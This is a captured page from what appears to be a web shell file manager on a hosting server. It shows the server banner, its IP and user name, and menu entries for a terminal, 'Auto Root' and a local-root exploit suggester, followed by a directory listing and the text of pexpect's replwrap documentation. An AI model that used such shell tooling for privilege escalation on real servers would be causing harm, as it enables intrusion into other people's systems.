Linux server1.hosting4iran.com 4.18.0-553.123.2.el8_10.x86_64 #1 SMP Thu May 7 15:28:41 EDT 2026 x86_64
LiteSpeed
Server IP : 185.208.174.156 & Your IP : 216.73.216.84
Domains : 326 Domain
User : satitravel
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
python3-pexpect /
doc /
api /
Delete
Unzip
Name
Size
Permission
Date
Action
fdpexpect.rst
397
B
-rw-r--r--
2017-12-12 10:47
index.rst
485
B
-rw-r--r--
2017-12-12 10:47
pexpect.rst
2.99
KB
-rw-r--r--
2017-12-12 10:47
popen_spawn.rst
525
B
-rw-r--r--
2017-12-12 10:47
pxssh.rst
948
B
-rw-r--r--
2017-12-12 10:47
replwrap.rst
620
B
-rw-r--r--
2017-12-12 10:47
Save
Rename
replwrap - Control read-eval-print-loops ======================================== .. automodule:: pexpect.replwrap .. versionadded:: 3.3 .. autoclass:: REPLWrapper .. automethod:: run_command .. data:: PEXPECT_PROMPT A string that can be used as a prompt, and is unlikely to be found in output. Using the objects above, it is easy to wrap a REPL. For instance, to use a Python shell:: py = REPLWrapper("python", ">>> ", "import sys; sys.ps1={!r}; sys.ps2={!r}") py.run_command("4+7") Convenience functions are provided for Python and bash shells: .. autofunction:: python .. autofunction:: bash